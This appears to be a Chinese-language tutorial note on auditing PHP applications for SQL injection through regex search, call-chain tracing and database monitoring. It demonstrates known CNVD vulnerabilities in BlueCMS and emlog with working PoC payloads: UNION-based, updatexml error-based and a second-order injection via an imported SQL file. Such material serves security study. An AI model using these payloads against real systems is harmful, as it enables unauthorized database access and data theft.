知识点
1、PHP审计-原生态开发-SQL注入&数据库语句监控
2、PHP审计-原生态开发-SQL注入&正则匹配搜索
3、PHP审计-原生态开发-SQL注入&功能追踪
代码审计分类:
1、原生态开发-代码审计源码案例
2、框架类开发-代码审计源码案例
3、组件类开发-代码审计源码案例
4、前端类开发-代码审计源码案例
简要点:
1、代码审计必备知识点:
环境搭建使用,工具插件安装使用,掌握各种漏洞原理及利用,代码开发类知识点。
2、代码审计开始前准备:
审计目标的程序名,版本,当前环境(系统,中间件,脚本语言等信息),各种插件等。
3、代码审计挖掘漏洞根本:
可控变量及特定函数,不存在过滤或过滤不严谨存在绕过导致的安全漏洞。
挖掘技巧:
数据库语句监控-数据库SQL监控排查可利用语句定向分析
功能追踪-功能点文件SQL执行代码函数调用链追踪
正则搜索-(update|select|insert|delete|).?where.=
如何快速的在多个文件代码里面找脆弱点:
1、看文件路径
2、看代码里面的变量(可控)
3、看变量前后的过滤
一、演示案例-PHP审计-原生开发-SQL注入-正则搜索
Bluecms-CNVD-1Day-常规注入审计分析
审计流程:
(update|select|insert|delete|).?where.=
正则-ad_js.php->getone()->无过滤->有输出payload注入
搜出来的有一百多个结果,不可能一个一个点进去看,就需要从文件路径、代码里的可控变量、变量前后是否有过滤来排个顺序
既然都没看到过滤,那就尝试调用
Poc:
ad_js.php?ad_id=1 union select 1,2,3,4,5,6,database()
二、演示案例-PHP审计-原生开发-SQL注入-功能跟踪
emlog-CNVD-1Day-常规注入审计分析
https://www.cnvd.org.cn/flaw/show/CNVD-2018-26200
审计流程:
comment.php->delCommentByIp($ip)->无过滤->构造触发
Poc:
/admin/comment.php?action=delbyip&ip=' and updatexml(1,concat(0x7e,(select user()),0x7e)) --+'&token=11f3f9cb7e78e3f88e39ea5678939b7d
三、演示案例-PHP审计-原生开发-SQL注入-数据库语句监控
emlog-CNVD-1Day-2次注入审计分析
https://www.cnvd.org.cn/flaw/show/CNVD-2023-65138
审计流程:
数据库监控->user.php无可控->nickname->添加不可控->data.php可控->导出修改导入->触发二次注入
数据库监控项目:https://github.com/cw1997/MySQL-Monitor
Poc:
/admin/data.php
导入文件时执行SQL文件中语句,带入Payload
INSERT INTO emlog_user VALUES('110','','$P$BnTaZnToynOoAVP6T/MiTsZc9ZAQNg.',(select version()),'writer','n','','123@qq.com ' , '','','0','1687261845','1687261845');
标签:审计,php,代码,正则,SQL,PHP,注入 From: https://www.cnblogs.com/loveqixin/p/18672918/admin/user.php
select查询nickname条件数据,访问触发二次注入